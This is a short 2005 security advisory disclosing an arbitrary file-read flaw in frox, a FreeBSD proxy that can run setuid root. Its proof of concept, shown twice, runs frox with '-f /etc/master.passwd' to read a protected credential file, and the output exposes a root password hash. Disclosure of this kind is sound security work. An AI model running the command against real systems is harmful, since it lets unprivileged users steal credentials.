Frox is a transparent proxy/cache system for FreeBSD
with the options to be setuid root or be ran as root.
Frox has a security risk which allows any user to read
protected files on the system. This is because of the
way frox handles the loading of configuration files.
The problem exists in the -f option ( which specifies the configuration file):
POC:
q(rotor (at) r0t0r.0daysecurity (dot) com [email concealed])
mq(/usr/local/sbin)-> frox -f /etc/master.passwd
Unrecognised option
"root:$2a$04$nR2msaB9.nAgR4qI6pqBNOQbH6LoqALZTmqsqhGEJLLwyTfsxXTd.:0:0::
0:0:Charlie"
at line 3 of /etc/master.passwd
Error reading configuration file
lq(rotor (at) r0t0r.0daysecurity (dot) com [email concealed])
mq(/usr/local/sbin)->
=( Frox transparent froxy / cache )=
=( found by rotor irc.efnet.org #c1zc0 )=
=( http://c1zc0.com - c1zc0 Security 2005 )=
Package: frox
Frox Author: James Hollingshead
Download Site: http://frox.sourceforge.net
Vulnrability: File aribitary read access
Frox is a transparent proxy/cache system for FreeBSD
with the options to be setuid root or be ran as root.
Frox has a security risk which allows any user to read
protected files on the system. This is because of the
way frox handles the loading of configuration files.
The problem exists in the -f option ( which specifies the configuration file):
POC:
q(rotor (at) r0t0r.0daysecurity (dot) com [email concealed])
mq(/usr/local/sbin)-> frox -f /etc/master.passwd
Unrecognised option
"root:$2a$04$nR2msaB9.nAgR4qI6pqBNOQbH6LoqALZTmqsqhGEJLLwyTfsxXTd.:0:0::
0:0:Charlie"
at line 3 of /etc/master.passwd
Error reading configuration file
lq(rotor (at) r0t0r.0daysecurity (dot) com [email concealed])
mq(/usr/local/sbin)->
Vender Has not Been Notified.
[ reply ]